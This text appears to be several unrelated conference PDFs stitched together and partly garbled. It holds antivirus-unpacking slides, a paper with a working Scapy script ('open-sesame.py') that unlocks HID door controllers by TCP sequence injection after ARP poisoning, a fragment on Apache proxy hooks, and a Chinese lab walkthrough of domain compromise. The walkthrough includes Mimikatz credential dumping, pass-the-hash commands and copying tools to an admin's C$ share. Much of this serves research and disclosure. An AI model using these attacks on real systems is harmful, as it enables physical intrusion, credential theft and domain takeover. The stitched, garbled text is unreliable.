Information Loss - (Comments, Variable Names, Original Structure of Code
Commercial Antivirus
Limited by time and resources
Customers get annoyed if results take too long
If AV is too invasive, software is uninstalled
Example: Symantec Endpoint Protection 11 has 14 kernel mode
modules that are loaded
Signatures heavily favored by Vendors
Fast and easy to implement
Decoders, as long as they are fast, used for known obfuscations
Time is AV’s achilles heel.
Detection of new, unknown threats is only 45%
Malware Authors Have an Easy Life
Slight modifications yield zero detection
Modify the icons inside the PE files
Remove imports
Slight modification of code
Most common exploit kits sold for N iterations of AV
Guaranteed not detectable
Provides a funding source on detection
Generic deobfuscation is not possible for AV vendors
Types of Packers
UPX
ASPack
FSG
PeCompact
ASProtect
PEtite
tElock
MEW 11 SE
WinRAR 32-bit SFX Module
Borland C++ DLL
yoda's Protector
NeoLite
Xtreme-Protector
Xtreme-Protector
LCC Win32
Themida -> Oreans Technologies
2004
MinGW
Ste@lth PE 1.01 -> BGCorp
Armadillo
TASM / MASM
PECompact
PE Pack
PKLITE32 1.1 -> PKWARE Inc.
PKLITE32
UPX-Scrambler RC
Wise Installer Stub
SVK Protector
CodeSafe
WinZip 32-bit SFX
PEiD scanning results from 1.6 million samples from Offensive Computing
UPX
ASPack
FSG
Unpacking: The Generic Algorithm
0x401000
0x401002
0x401008
0x401010
0x401094
0x401098
Written Memory
0x509003
0x380303
0x380290
0x313370
0x31337B
0x401339
Is EIP Writing
Memory?
If yes, log it
0x401098
0x401339
Is EIP a
Previously
Written Address?
Yes
Trigger
Unpacking
Process
• Need a system to track:
• Memory writes
• Executed memory addresses
• Differences among solutions
• Monitoring implementation
•Variances in this algorithm
Related Work – Improving Antivirus
Accuracy
Automated unpacking system performance can be
measured based on antivirus detection performance
Polyunpack, Renovo, Ether
Automated unpacking systems
Monitor memory writes, flag on execution of written data
Josse
QEMU virtual machine used for analysis (detectable)
Instruction level resolution executable monitoring
Emulation makes analysis slow
Repair mechanisms of each of system primitive or non-
existent
Improving Antivirus Accuracy with
Hypervisor Assisted Analysis
Contributions
Improved unpacking technique leveraging Ether hypervisor
system
Better import rebuilding using kernel data structures
Better OEP detection from stack back-tracking technique
Antivirus scanning performance improved
Ether System Architecture
Ether Analysis System
Linux Dom0
Instrumented
Windows XP SP2
Xen Hypervisor with Ether Extensions
Ring -1
Intel x86-64 CPU with Hardware Virtualization
Linux Dom0
Management OS
VM Disk
Images
Ether
Mgmt
Tools
Windows XP SP2
Virtual Machine
Importance of Repairs
Viruses can be packed and avoid detection
Removing imported APIs takes data away from analysis engines
Original Entry Point (OEP) Detection hasn’t progressed in
years
Watch for all written memory, log into a hash table
If there is an execution in written memory guessed to be OEP
If there is an execution in written memory guessed to be OEP
Dump contents of memory
Problems
Multiple obfuscations
Staged unpacking
Lots of candidate OEPs
Restoring this information improves existing AV tools accuracy
Imported API Recovery
Removing Imported APIs is first obfuscation step
Reverse engineering is difficult without APIs
Provide no context for code
Order of magnitude increase in complexity
Restoring them is extremely valuable
Which is easier to read?
No Imports
Which is easier to read?
No Imports
Imports Rebuilt
Import Repair Process
Find the original entry point
Unpack code until this address is found
Use OEP method discussed later
Find references to imported DLLs
call [ADDRESS]
jmp [ADDRESS]
Import Address Table (IAT)
Import Repair Process
Each imported DLL has an IAT corresponding to the APIs
brought into the application
The first DLL is found by backtracking the IAT memory
until a NULL is found.
The DWORD after the NULL is the beginning of that
DLL’s API
How do we determine which DLL belongs to which
memory address?
Determining DLL Address Space
Old Method
Attach to process via debugger interface
Call windows APIs to query address module
Resolve addresses from the DLL listings
Problems
Hypervisor has no access to internal Windows APIs
Access to APIs would violate sterility of guest environment
(DETECTION)
No real way to extract data we need
Import Repair Process
New Method – Use kernel memory management data
structure
Virtual Address Descriptor –VAD
Each process has a VAD to describe memory usage
OS uses VADs to interact with CPU MMU
Very accurate use of process space
Balanced Binary Tree
Address space
Size of memory region
Execution flags
Module memory mapping
This is all the information
needed to rebuild imports
Executable Memory Space
Ring-0 Address Space
0x80000000
Process VAD Tree
ImageBase
ADVAPI32.dll
WS2_32.DLL
.Data
KERNEL32.DLL
Process Virtual Address Descriptor Tree
0x7FFFFFFF
0x80000000
0x00000000
PEB (FS:30)
WS2_32.DLL
KERNEL32.DLL
ImageBase
…
ADVAPI32.dll
ImageBase
KERNEL32.DLL
Ring-3 Address Space
Original Entry Point Detection
Standard OEP discovery
produces many file
Most common packers
produce few samples
Packer
Detected OEPs
Armadillo
1
Petite
1
UPX
1
UPX Scrambler
1
Aspack
2
Complex packers increase
complexity of unpacking
Requires manual analysis
of each candidate dump
FSG
2
PECompact
2
VMProtect
12
PEPack
12
AsProtect
15
Themida
33
Yoda
43
PEX
133
MEW
1018
OEP Algorithm – EBP based stack frames
RET: 0x59009538
Stack Data
RET: 0x59010030
Stack Data
….
push ebp
mov ebp, esp
sub esp, 6A58h
xor eax, eax
2. Unwind
stack until
no more
frames
found
OEP
RET: 0x59009500
Stack Data
….
RET: 0x59009530
Stack Data
….
Stack Data
….
xor eax, eax
mov edx, 0x43
shl edx, 32
mov ecx, 0xBE
shl ecx,
mov eax 0xEF9ECA4E
xor eax, 0x313374A1
call eax
1. Start at EBP
3.
Backtrack
assembly to
the
beginning of
code /
preamble
Testing and Analysis
Verification of malicious file
Execution – show that it runs without crashing
OS state change – Look for modifications to
Registry
File system
File system
Startup systems
Verification of maliciousness
Detection by at least 1 AV scanner
Good way to scan large sample sets of malware
Test 1: Linux Virus Scanners
Analyze 500,000 samples for samples that are detected by
one AV vendor
Randomly choose 1,000 samples
Apply verification method, 697 left over
Apply verification method, 697 left over
Results
Highest
45.23%
Average
19.86%
Lowest
0.68%
Test 2: Virus Total
Virus Total (VT) –Website by Hispasec that aggregates 40
AV scanners’ testing results.
Two weeks passed to allow for improved AV signature
development
Apply verification method, 1,195 left over
Results
Highest
11.54%
Average
7.37%
Lowest
1.70%
Test 2: Improvement of Scanners
Best:
11.54%
Average
7.37%
Lowest
1.70%
Test 2: Total Detection Percentages
• High value improvements to most AV vendors
• Low improvement means either deobfuscation is poor, or detection is poor
• Blue represents packed, red represents unpacked state
Improving AV Conclusions
Unpacking and deobfuscation are high value changes
In development to incorporate into line-speed e-mail scanner
Improved detection of slightly modified malware
Rebuilding of imports
Improves reverse engineering
Full recovery of import data
VAD is fundamental part of OS (hard to deceive)
Improved OEP Detection
Reduces multiple OEP candidates
Reduced analysis time
Improvement in AV scanning results
Improving AV Future Work
Unpacking process takes too long
Current method is to unpack for 5 minutes
Better algorithms can be found to determine if unpacking
works
Integration with existing tools
IDA Pro
IDA Pro
OllyDbg
WinDbg
Build full-fledged debugger
PDB / Paimei integration
Visual control of unpacking
Questions?
Contact Information
Danny Quist
Email:
[email protected]
Email:
[email protected]
Twitter:
Ocomputing | pdf |
Ricky Lawshae, OSCP, GPEN
March 23, 2009
Picking Electronic Locks Using TCP Sequence Prediction
Abstract:
Card reader systems are being relied on more and more frequently as a method of electronically
controlling access to physical locations. These systems, especially in larger deployments, usually
consist of RFID or smart card readers connected to an IP-based controller that is used for
authenticating users and remotely managing locations. The security of RFID technology has been
discussed at length from just about every angle one could imagine, but the security of the
controllers themselves has, to this point, been largely ignored as an avenue of exploitation in
these systems. This paper will attempt to show just how easy it is to trick these controllers into
opening the door for you, without the need of a card, by exploiting a problem that is common to
almost all IP-based embedded devices: predictable TCP sequence numbering.
Theory:
The beauty of having an IP-based access control system is being able to manage the locations
remotely. An administrator can update user privileges, monitor alarm points, and most importantly
(for our purposes, at least), open and close doors, all from the comfort of his or her desk. If a user
forgets his or her ID, but is allowed to enter a particular secured area, the administrator can
choose to send a remote command to temporarily unlock the door for that user.
The danger is that these remote commands can be intercepted by a “man-in-the-middle” and can
then be replayed by the attacker to open that door at any point in the future, without the
knowledge or permission of the administrator. The reason this is possible is that the packets
being sent back and forth between the door controller and the administrator use very predictable
sequence numbers in their TCP session. That means an attacker can guess what the next
sequence number will be and inject a packet with that number and the IP address of the
administrator into the session, and the door controller will see it as a valid part of the
conversation. If the injected packet happens to have an open command in it, then the door
controller will happily open the door, just like if it had been asked to do so by the administrator.
No alarms will be raised as it is viewed by the door controller as a valid command, and no record
of the command will be logged on the server as we are bypassing it to speak directly with the
controller itself.
Proof of Concept:
In this test case, I used CBORD’s CS Gold system as the “administrator” to send commands to
their Squadron door controllers (better known as HID’s VertX V1000).
The first step is to locate and connect to a subnet with a V1000 on it. These are easy to find, as
all HID’s controllers have MAC addresses that begin with 00:06:8E:00. Once connected to the
subnet, a man-in-the-middle attack is required to intercept packets meant for the V1000’s IP
address. You can do this by poisoning its ARP cache. Observe the TCP traffic between the CS
Gold server and the V1000 using Wireshark or any other packet sniffing tool, and you will notice
two things that change from packet to packet:
The window size of packets coming from the server starts at 65535 and then decrements
every thirty seconds or so until it gets to within 40 of 64111, at which point the cycle starts
over. Every packet sent by the server during the thirty second interval has the same
window size.
The sequence number used by the server increments by 40 for each new command sent.
Once a packet with an open command as its payload is captured (you are on your own for this
part), you can copy the hex stream of the payload for use in your injected packet1.
Whenever you would like to inject your spoofed packet, you must sniff a packet from the server in
order to get the current window size and sequence number. Create a packet with the following
values using your favorite packet spoofing tool:
Source IP = Server’s IP address
Source Port = Server’s port
Destination IP = V1000’s IP address
Destination Port = V1000’s port
Window size = Current window size of the packet from the server
Sequence number = Current sequence number of the packet from the server + 40
Acknowledgement number = Current acknowledgement number of the packet from the
server
Payload = The hex stream of the open command that was observed earlier
Once this packet is placed on the wire, the V1000 will accept it as the next one in sequence from
the server and execute the open command. The lock has been picked, and the door is open.
To simplify and expedite matters, I wrote a python script using the Scapy framework called open-
sesame.py2 which takes the IP address of the V1000 and the hex stream of the open command
as its two arguments. It then sniffs for a packet sent from the server, copies and changes the
necessary values, and injects a new packet with the hex stream attached.
Results and Conclusions:
One side-effect that should be noted is that, after a packet has been successfully injected into the
conversation all subsequent packets sent from the server to the door controller will have incorrect
sequence numbers, causing the server to eventually reset the connection. This may cause the
server’s source port to change, and may render the sniffed payload unable to be used again (see
footnote 1).
While this attack has a fairly low likelihood of being carried out in the wild, the potential security
and safety risks alone warrant further attention. A simple, though not entirely failsafe, solution
would be to put the door controller system on a separate lan, thereby removing the vulnerability to
simple man-in-the-middle attacks. Also, taking steps to monitor for and prevent man-in-the-middle
attacks in general would be a good idea. However, the real solution to this problem lies with the
vendors themselves to either encrypt traffic between the server and the door controller, or use
less predictable sequence numbering schemes in their TCP sessions. This would make it much
harder, if not entirely impossible, to inject a packet into the conversation, eliminating the risk of
spoofed commands.
Footnotes:
1. The one saving grace in all of this is that I have not yet found a way to generate my own payloads. A valid open
command must be captured in order to have something to inject. From what I have observed, the payload is computed
based on the duration of the open command sent, the door it is sent to, and the source port used by the server that sends
the command. If any one of these values changes, a new valid open command must be captured.
2. open-sesame.py (watch out for improper line-breaks due to formatting)
#! /usr/bin/env python
#####################################################################################
# open-sesame.py
# Ricky Lawshae
# Used to exploit predictable sequence numbers in CBORD Squadron access controllers
# in order to inject a sniffed unlock command and "pick the lock" of a door over TCP.
# Must have scapy installed to run.
#
# <target> - IP address of the door controller (V1000)
# <payload> - Hex string of sniffed payload to be injected
#####################################################################################
import sys
if len(sys.argv) != 3:
print "Usage: " + sys.argv[0] + " <target> <payload>"
sys.exit(1)
payload = ''
tmp = ''
# Format hex stream from "aaaaaa" to "\xaa\xaa\xaa". Thx Venom_X!
for i in range(0,len(sys.argv[2])):
if i > 0:
if (i + 1) % 2 == 0:
tmp = "%s%c" % (tmp,sys.argv[2][i])
tmp = "%s%s" % ('\\x',tmp)
payload = "%s%s" % (payload,tmp)
tmp = ''
else:
tmp = sys.argv[2][i]
else:
tmp = sys.argv[2][i]
import logging
logging.getLogger("scapy").setLevel(1)
from scapy import *
# default verbosity level is 2
conf.verb = 0
# Sniff a packet to get initial window size
p = sniff(filter="tcp and host " + sys.argv[1],count=1)
if p:
print ">>> Got a packet. Now making sure it's the one we want."
# Make sure the packet we sniffed is coming from the server
while(p[0].window < 64110):
p = sniff(filter="tcp and host " + sys.argv[1],count=1)
if p:
print ">>> OK. Now we inject our spoofed packet with payload attached."
# Add 40 to the sequence number and send it off with the payload attached
p =
sr1(IP(src=p[0].src,dst=p[0].dst)/TCP(sport=p[0].sport,dport=p[0].dport,flags="PA",seq=p[
0].seq + 40,ack=p[0].ack,window=p[0].window)/payload)
if p:
print ">>> Open sesame!" | pdf |
apache proxy⸺
0x00
apacheoverviewhttps://t.zsxq.com/ubm2rVf
p
apachhttps://t.zsxq.com/rBmaU7a
hookhttps://www.anquanke.com/post/id/257539
0x01
p
vscodec/c++ubuntuapache
hook
[root@centos httpd-2.2.23-worker]# export SHOW_HOOKS=1
[root@centos httpd-2.2.23-worker]# ./bin/httpd -k start
Registering hooks for core.c
Hooked create_connection
Hooked pre_connection
Hooked post_config
Hooked translate_name
Hooked map_to_storage
Hooked open_logs
Hooked child_init
Hooked handler
……
httpdhook
mod_infohook
http://httpd.apache.org/docs/2.2/mod/mod_info.html
httpd.conf
LoadModule info_module modules/mod_info.so
<Location /server-info>
SetHandler server-info
Deny from all
Allow from all
</Location>
http://host/server-info
0x02
mod_proxy.c33933450
AP_DECLARE_MODULE
proxy
APR_HOOK_STRUCT
"namespace"_hook_"hookname"hook
proxy_hook_scheme_handler
proxy_hook_canon_handler
proxy_hook_pre_request
proxy_hook_post_request
proxy_hook_request_status
proxy_hook_check_trans
proxy_run_*proxy_hook_get_*
ap_hook_scheme_handlerhookproxy.cmod_proxy_http.c
proxyhookproxy_hook_scheme_handlerproxy_hook_canon_handler
APR_IMPLEMENT
run_firstrun_allrun_first
apacheok
run_allfirstOKDECLINED
proxy_hook_scheme_handlerproxy_hook_canon_handlerrun_first.
0x03
ap_hook_handler | pdf |
域渗透从⼊入⻔门到⾃自闭
前期准备
前⾔言
本系列列在于从简单的Windows域环境搭建到利利⽤用域的特性,通过哈希传递攻击、凭证窃取技术
结合互联⽹网公布现成的安全研究⼯工具,进⾏行行域横向移动渗透,最终到达我们⽬目标,拿到ad域控
制器器权限。
实验环境设置
下⾯面列列出本次实验环境计算机跟练习中的⼀一些配置设置,均在VMWARE下完成。
我们的域名将被命名为h4x0er.org公司,因此创建域,然后将这些PC电脑加⼊入域,let’s go!
本次实验环境⼀一共有三台电脑,⼀一台AD域控制器器DC,另外两台员⼯工PC。
系统ISO下载地址: https://msdn.itellyou.cn/
Windows Server 2012(DC1)
1.修改计算机名
2.修改IP地址
3.服务器器管理理器器—⻆角⾊色—添加AD
⼀一路路下⼀一步,到服务器器⻆角⾊色选择Active Directory域服务,添加功能
继续⼀一路路下⼀一步,到指定备⽤用源选择⾃自⼰己Windows Server 2012 R2的安装光盘位置路路径,这⾥里里
我的光盘路路径是D:\source\sxs,指定完后确定,点击安装
4.安装AD域控制器器
回到我们服务器器管理理器器界⾯面,点击
添加新林林,输⼊入根域名:h4x0er.org
输⼊入⼀一个符合复杂度的密码,点击下⼀一步。
域数据存放位置
⼀一路路下⼀一步,安装。
Windows7(Admins-PC/Victims-PC)
另外两台PC配置类似
1.设置计算机名
2.设置IP地址
3.加⼊入域控
两台机器器加⼊入完域后,必须重启计算机。
4.关闭防⽕火墙
重启完电脑后,把所有防⽕火墙关闭
现在所有的电脑都加⼊入了了域,接下来我们添加⼀一些账号跟组到域环境当中。
域账号设置
在本次实验练习当中,你将看到helpdesk帮助台和域管理理员之间进⾏行行分离,但其实并没有什什么
⽤用,不不⾜足以防⽌止凭证窃取。让我们创建⼀一个helpdesk组作为安全组进⾏行行分离。
组名
成员
描述
Helpdesk
PonyM
⽤用于管理理h4x0er.org域客户端
开始菜单->运⾏行行>dsa.msc->容器器Users->右击新建->点击组->输⼊入组名HelpDesk->确定
或直接在域控服务器器下以administrator权限输⼊入命令
net group HelpDesk /add /domain
进⾏行行创建安全组HelpDesk
让我们在域中创建三个⽤用户
姓名
登录账号
描述
登录机器器
Jack Ma
JackM
悔悔创阿⾥里里Jack⻢马,是遭受钓⻥鱼
邮件的受害者
VICTIMS-PC
依次按照以下步骤重复新建3个⽤用户Jackma/Ponyma/RobinLi-
Pony Ma
PonyM
普通家庭Pony⻢马,是IT部⻔门⼈人
员,同时也是”Helpdesk”安全
组的成员。
VICTIMS-PC
ADMINS-PC
Robin Li
RobinL
再赢⼀一次Robin 李李,是域管理理
员。
ADMINS-PC
AD域控制器器
以及添加Robin Li到域管理理员
或直接在域控服务器器下以administrator权限输⼊入命令
net user JackM password123!@# /add /domain
net user PonyM password456!@# /add /domain
net user RobinL password789!@# /add /domain
net group “Domain Adminis” RobinL /add /domain
最后创建了了三个账号以及⼀一个安全组
对了了别忘记把Pony Ma加⼊入HelpDesk安全组
右击Pony Ma属性->⾪隶属于->添加->HelpDesk->确定
或直接在域控服务器器下以administrator权限输⼊入命令
net group helpdesk PonyM /add /domain
我们的域管理理员Robin Li⽇日常使⽤用ADMINS-PC。
其中Helpdesk(Pony Ma是其中⼀一员)可以管理理ADMINS-PC的计算机。
搜索对应组
输⼊入域账号密码,确定
接着Jack Ma以及HelpDesk将被添加到他的个⼈人终端电脑(VICTIMS-PC)管理理员权限
本次实验⼯工具
1.
将在VICTIMS-PC电脑上安装以下⼯工具,⽂文件存储于C:\Tools
●
Mimikatz: https://github.com/gentilkiwi/mimikatz/releases
●
PowerSploit: https://github.com/PowerShellMafia/PowerSploit/releases
●
PsExec: https://docs.microsoft.com/en-us/sysinternals/downloads/psexec
●
NetSess.exe: http://www.joeware.net/freetools/tools/netsess/index.htm
2.
注意本次实验练习过程,需关闭防病毒软件,这些⼯工具仅供测试使⽤用。另外相关的软件源
码属于开源的,攻击者可以根据源码,针对病毒库内特征码进⾏行行⼆二次开发以躲避杀毒软件
的查杀。
假设
在我们的示例例中,JackM是他⾃自⼰己的⼯工作站的管理理员。 许多客户端的⽤用户仍然以管理理员权限运
⾏行行。 在这种情况下,由于对⼿手已经在执⾏行行渗透后操作的环境中拥有管理理员访问权限,因此⽆无需
进⾏行行本地升级攻击。
但是,即使IT部⻔门减少了了使⽤用⾮非管理理员帐户的特权,也会执⾏行行其他形式的攻击(例例如,已知的
应⽤用程序1 Day/N Day漏漏洞洞,0 Day等)来实现本地特权提升。 在这种情况下,我们的假设很
简单:对⼿手在Victim-PC上实现了了本地特权升级。 正如我们将在下⾯面讨论的那样,在我们的虚
拟实验环境中,这是通过给JackM的IM通讯软件发送⼀一封⻥鱼叉式通告⽂文件实现的。
环境拓拓扑
接下来我们的实验环境跟以上拓拓扑图⼀一样,我们域之间有通过组来进⾏行行⻆角⾊色分离,接下来我们
将模拟攻击者进⾏行行域内横向渗透,利利⽤用上⾯面现有的⼯工具接管整个域控。
模拟HelpDesk帮助台
模拟常⻅见的HelpDesk帮助台场景,其中HelpDesk帮助台成员Pony Ma登录到VICTIMS-PC,然
后点击开始菜单,切换⽤用户,切换⾄至Jack Ma身份登录,模拟特权⽤用户登录此⼯工作站上的凭证
管理理。
我们可以选择其他⽅方式进⾏行行模拟本次实验,⽐比如创建批处理理脚本进⾏行行服务账户管理理、计划任
务、RDP会话或者”runas”命令⾏行行。本地特权管理理员在⼀一天结束之内,基本都会使⽤用以上相关操
作,这⾥里里我们选择最快的⽅方式进⾏行行模拟这个过程。
不不要注销或者重启VICTIMS-PC,因为这会导致内存清除Pony Ma的凭证。
我们的实验环境已经准备好了了,接下来我们来正式模拟攻击者如何从⼀一个最低权限的账号横向
到域控制器器。
通过⻥鱼叉攻击
最近新冠病毒疫情原因,Jack Ma作为⼀一名家⻓长,时刻关注⼩小学什什么时候才正式开学,好把家
⾥里里的”混世⼩小魔王”赶快送去学校。这⼀一天他在办公室操作电脑,临近下班,突然孩⼦子班级家⻓长
QQ群⾥里里,班主任传出来⼀一份⽂文件,
计算机
计算机上保存的凭证
ADMINS-PC
●
RobinL
VICTIMS-PC
●
JackM
●
PonyM(由设置helpdesk场景引起)
Jack Ma当时想都没想,直接在公司的电脑打开连接,下载了了⽂文件,打开运⾏行行。
正式开始攻击
我们的游戏开始了了,按照真实环境进⾏行行模拟后渗透中攻击者的活动。
侦察
⼀一旦攻击者进⼊入到域环境中,侦察就开始了了,在这个阶段中对⼿手花时间进⾏行行研究域内环境,进
⾏行行信息收集,枚举安全组和其他活动⽬目录对象,以根据获取的信息绘制⼀一个攻击的路路线图。
DNS协议侦察
⼤大部分攻击者进⼊入域内第⼀一件事要做的就是尝试接收DNS的所有内容。
1.
⾏行行动:DNS侦察
在以JackM身份登录的VICTIMS-PC上,攻击者刚刚⼊入侵的PC,以⽤用户运⾏行行以下命令:
nslookup
ls –d h4x0er.org
幸运的是,我们的DNS配置为默认阻⽌止此DNS针对域进⾏行行转储。但如果不不当的配置将会导致
DNS域传送泄露露漏漏洞洞,任何匿匿名⽤用户都可以获取DNS服务器器对应域的所有记录,直接把企业域
内基础服务跟⽹网络架构暴暴露露,从⽽而造成严重信息泄露露,导致攻击者可利利⽤用相关信息进⾏行行下⼀一步
的渗透。
⽬目录服务枚举
安全帐户管理理器器远程协议(SAMR)为域中的⽤用户和组提供管理理功能。了了解⽤用户、组和权限之
间的关系对于攻击者来说⾮非常重要。任何经过身份验证的⽤用户都可以执⾏行行这些命令。
枚举所有的⽤用户和组
列列举⽤用户和组对攻击者⾮非常有⽤用。知道⽤用户名和组名会很⽅方便便。作为⼀一名攻击者,你要尽可能
多地收集信息,毕竟这是侦察阶段。
2.
⾏行行动:枚举⽤用户和组
使⽤用JackM帐户,登录到VICTIMS-PC上,并尝试使⽤用以下命令拉取所有域⽤用户和组:
net user /domain
net group /domain
这些操作都属于普通⽤用户使⽤用合法凭证可以进⾏行行的操作,现在攻击者已经了了解域中所有⽤用户和
组信息。
枚举⾼高特权⽤用户
攻击者现在同时拥有⽤用户列列表和组列列表。但知道谁在哪个组中也很重要,特别是对于企业管理理
员“Enterprise Admins”和域管理理员“Domain Admins”这样的⾼高特权组。我们就这样…
3.
⾏行行动:枚举域管理理员
在VICTIMS-PC上以JackM的身份运⾏行行以下命令:
net group “domain admins” /domain
攻击者现在拥有所有⽤用户和组,并知道哪些⽤用户属于特权域管理理员“Domain Admins”组。
攻击者不不会就此停⽌止进攻,他们知道企业管理理员和域管理理员之间没有安全边界,因此他们也会
获取企业管理理员列列表。
4.
⾏行行动:枚举企业管理理员
要获取此企业管理理员组的成员,请在VICTIMS-PC上运⾏行行以下命令:
net group “enterprise admins” /domain
在企业管理理员组中有⼀一个帐户不不太有趣,因为它只是默认设置,但攻击者在JackM帐户中获取
更更多的信息,并已识别他们最想攻击的⽤用户是谁。
SMB会话枚举
攻击者知道他们愿意为获得最⼤大的凭据⽽而想妥协的⼈人,但是他们并不不完全知道如何对那些凭据
进⾏行行妥协,对叭? SMB枚举可以为暴暴露露这些⾮非常有趣的帐户的位置,给攻击者提供精确的位
置。
所有经过身份验证的⽤用户必须连接到域控制器器以处理理组策略略(针对SYSVOL),从⽽而使SMB枚
举成为攻击者的重要⼯工具。 这使域控制器器成为执⾏行行SMB枚举的主要⽬目标
5.
⾏行行动:对DC执⾏行行SMB会话枚举
若要枚举连接到特定计算机的⽤用户,在这种情况下,请转到VICTIMS-PC上的Netess本地保存
的位置并运⾏行行以下命令:
NetSess.exe dc1.h4x0er.org
根据前⾯面的信息我们已经知道RobinL是域管理理员,现在通过SMB会话枚举,攻击者得知
RobinL的IP地址(192.168.10.21)
横向移动
仅需采取⼏几个步骤,您就已经可以获得很多信息。 ⾄至此,⽬目标变成了了您发现的IP地址:
192.168.10.21(公开了了RobinL的计算机凭据)。
枚举在内存中的凭据
Victim-PC不不仅具有JackM的凭据,⽽而且还有许多其他帐户可能对攻击者有⽤用。 我们来列列举⼀一
下Victim-PC上的内存中凭据。幸运的是,有⼀一个⽤用于此⽬目的的⼯工具:Mimikatz。
6.
⾏行行动:从VICTIMS-PC转储凭据
从VICTIMS-PC上以管理理员权限运⾏行行命令提示符,转到保存Mimikatz的⼯工具⽂文件夹,并执⾏行行以
下命令:
mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords” “exit” >> c: \VICTIMS-PC.txt
上⾯面的命令将执⾏行行Mimikatz,然后在内存中获取凭据。这个⼯工具会把它写进⼀一个名为
“VICTIMS-PC.txt”的⽂文本⽂文件”.打开“VICTIMS-PC.txt”⽂文件“看看你能找到什什么。
7.
⾏行行动:解析Mimikatz的凭证转储输出
使⽤用记事本打开⽂文件“VICTIMS-PC.txt “。如果你的⽂文件,看起来不不像这个例例⼦子,是因为不不同的
密码或使⽤用的操作系统可能不不同,以及默认密码策略略设置为开/关。
攻击者找到了了JackM的凭据,这将允许他们伪装成JackM。
攻击者还发现了了计算机帐户,该帐户与⽤用户帐户⼀一样,可以添加到其他计算机的本地管理理组和
其他⾼高权限安全组中。这在这种情况下并不不有⽤用,但你应该始终记住,计算机帐户也可以映射
到其他地⽅方的特权。
攻击者还发现了了⼀一个潜在的易易攻击的帐户PonyM。记住,PonyM是在安装阶段登录到受害者电
脑的。那个凭证当时暴暴露露在内存中的LSASS.EXE进程中,
Mimikatz给了了攻击者下⼀一步进攻的可能性。当你针对域管理理员或企业管理理员中的⽤用户进⾏行行枚举
时,PonyM没有列列出,但请记住,你现在可以访问他的凭据。
但是要注意的是,在某些情况下,这个Mimikatz转储凭证可能会显示明⽂文密码,当环境未更更新
或未配置为阻⽌止WDigest时。最新的环境(Win8 & Win10&Win&Service 2012以上),遵循最
佳实践,将返回⼀一个空密码字段。
最后,在使⽤用PonyM的帐户之前,让我们看看它是否有任何价值。让我们⽤用那个帐户做些信息
收集。
有关WDigest的更更多信息,请参阅:
https://blogs.technet.microsoft.com/kfalde/2014/11/01/kb2871997-and-wdigest-part-1/
8.
⾏行行动:对PonyM帐户执⾏行行信息收集
在VICTIMS-PC的命令⾏行行中,执⾏行行以下操作:
net user PonyM /domain
攻击者将得知PonyM是HelpDesk帮助台的成员。PonyM的帐户对攻击者来说很有趣。但是,
还需要进⼀一步的分析,以查看该帐户是否在其他计算机上具有管理理员权限。毕竟,使⽤用它横向
移动到另⼀一台计算机上却发现它的权限⽐比攻击者已经拥有的权限低是没有意义的。
9.
⾏行行动:枚举远程计算机的成员身份
这⾥里里使⽤用的⼯工具是PowerSploit,渗透测试⼈人员使⽤用的其中⼀一个PowerShell模块。打开⼀一个
PowerShell会话,并遍历PowerSploit保存在VICTIMS-PC本地上的位置。在PowerShell控制台
中,执⾏行行:
Import-Module .\PowerSploit.psm1
Get-NetLocalGroup 192.168.10.21
在第⼀一⾏行行中,将PowerSploit模块导⼊入内存,在第⼆二⾏行行中执⾏行行该模块提供的函数之⼀一,在本例例中
为GetNetLocalGroup。
同样,192.168.10.21是5.⾏行行动:对DC执⾏行行SMB会话枚举阶段发现的IP地址。
攻击者刚刚发现以下内容:
●
192.168.10.21连接到ADMINS-PC(我们将IP地址解析为计算机名也通过powerspoit)
●
“h4x0er.com/Domain Admins“和”h4x0er.com/HelpDesk“是管理理员组
PonyM是Helpdesk组的成员,因此PonyM可以授予攻击者在ADMINS-PC上的管理理员权限(攻
击者从前期的信息收集中知道RobinL在其中)。
攻击者使⽤用这种类似关系之间关联的思考⽅方式是发现⽹网络中的关系,下⼀一步攻击者应该如何使
⽤用PonyM进⾏行行横向移动?
哈希传递攻击(Overpass-the-Hash)
如果攻击者所处的环境没有禁⽤用WDigest,则已经游戏结束了了,因为他们使⽤用的是明⽂文密码。
但是,本着学习的精神,让我们更更加努⼒力力,假设您不不知道/⽆无法访问明⽂文密码。
那么,只要访问PonyM的NTLM散列列,你能做什什么?
使⽤用名为Overpass the Hash的技术,您可以获取NTLM散列列,并使⽤用它通过Kerberos\Active
Directory获取票据,授予票据TGT(Ticket Granting Ticket)。有了了TGT,你可以伪装成PonyM
并访问PonyM可以访问的任何域资源。
10. ⾏行行动:对PonyM进⾏行行哈希传递攻击
在这⾥里里你将再次使⽤用Mimikatz。从VICTIMS-PC那⾥里里复制PonyM的NTLM散列列VICTIMS-PC.txt
⽂文件,早期获取(6. ⾏行行动:从VICTIMS-PC转储凭据)。
在VICTIMS-PC上,转到⽂文件系统中存储Mimikatz的位置,并执⾏行行以下命令:
Mimikatz.exe “privilege::debug” “sekurlsa::pth /user:PonyM /ntlm:[ntlm hash] /domain:h4x0er.org” “exit”
⽤用来⾃自VICTIMS-PC上的VICTIMS-PC.txt⽂文件中PonyM的NTLM值进⾏行行替换[ntlm hash]
执⾏行行完上⾯面命令后,将打开新的命令⾏行行提示会话,这个新的命令提示符将PonyM的凭据注⼊入。
让我们验证⼀一下,看看是否可以读取Admins-PC的C$内容,这是⽤用户JackM根本没有权限进⾏行行
操作的事情。
11. ⾏行行动:使⽤用PonyM的凭证读取Admins-PC的C$
在新命令提示符下,运⾏行行以下命令:
dir \\admin-pc\c$
是的,攻击者现在可以访问Admins-PC的C盘,让我们验证⼀一下,打开的新命令提示符注⼊入了了
PonyM的Ticket票据,⽽而且您并没有误认为JackM具有读取权限。
12. ⾏行行动:在哈希传递攻击过的命令提示符下检查Ticket票据
在从哈希传递攻击(Overpass-the-hash)攻击打开的新命令提示符中,执⾏行行以下命令:
klist
这个命令确认你当前使⽤用合法的凭证,⽤用以访问管理理ADMINS-PC。
域权限提升
攻击者现在可以访问Admins-PC,这是⼀一台从早期的侦察中识别出的能够危害⾼高权限帐户
RobinL的良好攻击载体的计算机。攻击者现在想进⼊入Admins-PC,提升其在域中的权限。
收获凭证
执⾏行行哈希传递攻击将允许我们横向移动到Admins-PC。接着我们需要将攻击者⼯工具移动到
Admins-PC上,特别是Mimikatz和PsExec。
13. ⾏行行动:针对Admin-PC执⾏行行Mimikatz
在PonyM上下⽂文中运⾏行行的新命令提示符下,转到Victim-PC中Mimikatz所在的⽂文件系统部分。
运⾏行行以下命令:
xcopy mimikatz \\admin-pc\c$\temp
